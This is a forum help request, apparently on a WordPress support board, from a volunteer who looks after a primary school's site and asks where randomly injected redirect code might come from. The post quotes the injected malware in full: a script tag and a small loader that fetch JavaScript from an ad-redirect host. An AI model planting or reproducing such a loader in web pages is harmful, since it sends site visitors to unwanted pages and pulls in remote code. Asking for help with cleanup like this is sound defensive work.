shigaxapo redirect adware clickjack

Hi everybody.

I took over the support for the named WordPress site (community support for free for a primary school).

I am a professional programmer, but I don’t have ftp/ssh or database access, just the common admin access.

There is a script on the website that adds javascript (randomly, no on every visit), redirecting to a random ad page.

This is the script that is added randomly:

<script src="//shigaxapo.com/c/D.9D6/bA2D5hlJSnWaQf9AN/DsEP0/MCTdgo2cN-i/0/0oM/T/Q/xoOsDJYX3v"></script>
<script>
(function(__htas){
var d = document,
    s = d.createElement('script'),
    l = d.scripts[d.scripts.length - 1];
s.settings = __htas || {};
s.src = "\/\/shigaxapo.com\/c\/D.9D6\/bA2D5hlJSnWaQf9AN\/DsEP0\/MCTdgo2cN-i\/0\/0oM\/T\/Q\/xoOsDJYX3v";
l.parentNode.insertBefore(s, l);
})({})
</script>

Any idea where to look for the source of this malicious code? (without ftp/ssh or db access)

Thank you!

Kind regards,
David

The page I need help with: [log in to see the link]